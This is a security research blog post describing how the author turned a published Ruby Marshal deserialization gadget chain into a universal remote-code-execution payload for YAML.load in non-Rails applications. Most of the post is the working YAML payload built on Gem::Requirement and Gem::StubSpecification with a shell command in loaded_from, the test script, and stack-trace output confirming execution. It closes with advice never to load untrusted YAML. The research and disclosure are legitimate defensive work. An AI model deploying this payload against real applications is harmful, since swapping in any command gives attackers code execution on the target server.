Universal RCE with Ruby YAML.load

Last year Luke Jahnke wrote an excellent blog post on the elttam blog about finding a universal RCE deserialization gadget chain for Ruby 2.x. In the post he discusses the process of finding and eventually exploiting a gadget chain for Marshal.load. I was curious if the same chain could be used with YAML.load. It has been shown before that using YAML.load with user supplied data is bad, but all the posts I could find focuses on Ruby on Rails (RoR). Wouldn’t it be nice to have a gadget chain to use in non-RoR applications?

Plan of Action

Initially I decided to reuse the excellent work already done by Luke, since my Ruby skills aren’t that great and I’m lazy. So I inserted YAML.dump(payload) into his script. Unfortunately this failed, with the following yaml file being created:

--- !ruby/object:Gem::Requirement
requirements:
- - ">="
  - !ruby/object:Gem::Version
    version: '0'

At the offset it is pretty obvious that this isn’t going to give us RCE. There is no RCE payload present and none of the original gadget chain is present. One of the key points from the elttam blog post is that marshal_dump is used to setup the @requirements global as follows:

class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

Thus it would be necessary to find a way to set @requirements for the YAML payload. Unfortunately there isn’t an equivalent method yaml_dump. So the @requirements will need to be initialized in another way. The created yaml does provide us with a clue on how to get @requirements set and by reading the documentation for the Gem::Requirement gem you’ll note that the gem can be initialized with requirements, which can be Gem::Versions, Strings or Arrays. An empty set of requirements is the same as “>= 0”, which seems to match up with what we see in the generated YAML.

How about using Gem::Requirement.new($dependency_list) instead of the current Gem::Requirement.new for our payload?

puts "Generate yaml"
payload2 = YAML.dump(Gem::Requirement.new($dependency_list))

puts payload2

puts "STEP yaml"
YAML.load(payload2) rescue nil
puts

This “works”, meaning the RCE happens, unfortunately there is no valid YAML produced. The reason for this is that an exception occurs right at the end of the gadget chain in specific_file.rb.

Generate yaml
uid=500(rubby) gid=500(rubby) groups=500(rubby)
/usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:155:in `name': undefined method `name' for nil:NilClass (NoMethodError)
        from /usr/lib/ruby/2.3.0/rubygems/source/specific_file.rb:65:in `<=>'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `sort'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `tsort_each_child'
        from /usr/lib/ruby/2.3.0/tsort.rb:415:in `call'
        from /usr/lib/ruby/2.3.0/tsort.rb:415:in `each_strongly_connected_component_from'
        from /usr/lib/ruby/2.3.0/tsort.rb:349:in `block in each_strongly_connected_component'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `each'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `tsort_each_node'
        from /usr/lib/ruby/2.3.0/tsort.rb:347:in `call'
        from /usr/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component'
        from /usr/lib/ruby/2.3.0/tsort.rb:281:in `each'
        from /usr/lib/ruby/2.3.0/tsort.rb:281:in `to_a'
        from /usr/lib/ruby/2.3.0/tsort.rb:281:in `strongly_connected_components'
        from /usr/lib/ruby/2.3.0/tsort.rb:257:in `strongly_connected_components'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:76:in `dependency_order'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:99:in `each'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:107:in `map'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:107:in `inspect'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:101:in `parse'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `block in initialize'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `map!'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:131:in `initialize'
        from ex.rb:49:in `new'
        from ex.rb:49:in `<main>'

At this point I tried a few variations of changing $dependency_list to only contain part of the gadget chain, but hit a new exception each step of the way.

The manual way

Instead of bashing my head against Ruby, I decided I’ll create the YAML manually. This meant modifying the previously generated YAML to have our gadget chain instead of the Gem::Version.

The first bit of this was really easy, simply switch out !ruby/object:Gem::Version for !ruby/object:Gem::DependecyList:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList

Trying to load this with YAML.load now results in a new error:

/usr/lib/ruby/2.3.0/rubygems/requirement.rb:272:in `fix_syck_default_key_in_requirements': undefined method `each' for nil:NilClass (NoMethodError)
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:207:in `yaml_initialize'                                                                    from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:211:in `init_with'
<..snip..>

Clearly the code ends up at the trigger point in the method fix_syck_default_key_in_requirements, so we are probably on the right track. Next I did the lazy debug of simply adding a puts @requirements in the file requirement.rb at line 270. This outputs

#<Gem::DependencyList:0x000000026f2b68>

This means the YAML so far is correct and we are getting the Gem::Requirement to be initialized with a payload controlled by us. From here on it was simply a process of following the elttam blog post and the gadget chain to make sure all the different components are present in the YAML file. The next part is getting the .each call to succeed. The above error tells us that there is a nil:NilClass when calling this, which makes perfect sense if you read the blog post

it was found that a call to it’s each instance method will result in the sort method being called on it’s @specs instance variable

Now we need to ensure that @specs is defined in the YAML file. Based on the blog post and the sample script, we know this needs to be an array of Gem::Source::SpecificFile. In YAML this would be

specs:
    - !ruby/object:Gem::Source::SpecificFile
    - !ruby/object:Gem::Source::SpecificFile

One of the Gem::Source::SpecificFile needs to have a spec instance variable of type Gem::StubSpecification and this in turn has the payload for RCE in the loaded_from variable.

Putting all this information together (took some trial and error), we end up with:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

Using the following Ruby script to test the payload:

require "yaml"

YAML.load(File.read("p.yml"))

The outcome is RCE, and the original error seen when trying to do YAML.dump in the first place.

rubby@rev:/tmp$ ruby b.rb
uid=500(rubby) gid=500(rubby) groups=500(rubby)
/usr/lib/ruby/2.3.0/rubygems/stub_specification.rb:155:in `name': undefined method `name' for nil:NilClass (NoMethodError)
        from /usr/lib/ruby/2.3.0/rubygems/source/specific_file.rb:65:in `<=>'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `sort'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:218:in `tsort_each_child'
        from /usr/lib/ruby/2.3.0/tsort.rb:415:in `call'
        from /usr/lib/ruby/2.3.0/tsort.rb:415:in `each_strongly_connected_component_from'
        from /usr/lib/ruby/2.3.0/tsort.rb:349:in `block in each_strongly_connected_component'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `each'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:214:in `tsort_each_node'
        from /usr/lib/ruby/2.3.0/tsort.rb:347:in `call'
        from /usr/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component'
        from /usr/lib/ruby/2.3.0/tsort.rb:281:in `each'
        from /usr/lib/ruby/2.3.0/tsort.rb:281:in `to_a'
        from /usr/lib/ruby/2.3.0/tsort.rb:281:in `strongly_connected_components'
        from /usr/lib/ruby/2.3.0/tsort.rb:257:in `strongly_connected_components'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:76:in `dependency_order'
        from /usr/lib/ruby/2.3.0/rubygems/dependency_list.rb:99:in `each'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:272:in `fix_syck_default_key_in_requirements'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:207:in `yaml_initialize'
        from /usr/lib/ruby/2.3.0/rubygems/requirement.rb:211:in `init_with'
        from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:382:in `init_with'
        from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:374:in `revive'
        from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:16:in `visit'
        from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:6:in `accept'
        from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:32:in `accept'
        from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:311:in `visit_Psych_Nodes_Document'
        from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:16:in `visit'
        from /usr/lib/ruby/2.3.0/psych/visitors/visitor.rb:6:in `accept'
        from /usr/lib/ruby/2.3.0/psych/visitors/to_ruby.rb:32:in `accept'
        from /usr/lib/ruby/2.3.0/psych/nodes/node.rb:38:in `to_ruby'
        from /usr/lib/ruby/2.3.0/psych.rb:253:in `load'
        from b.rb:3:in `<main>'
rubby@rev:/tmp$

I’m not sure if it’s possible to completely get rid the error, but then again, I achieved my initial goal of RCE and don’t feel like staring at more Ruby.

As always, never use YAML.load with user supplied data, better yet, stick to using SafeYAML.

Payload: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565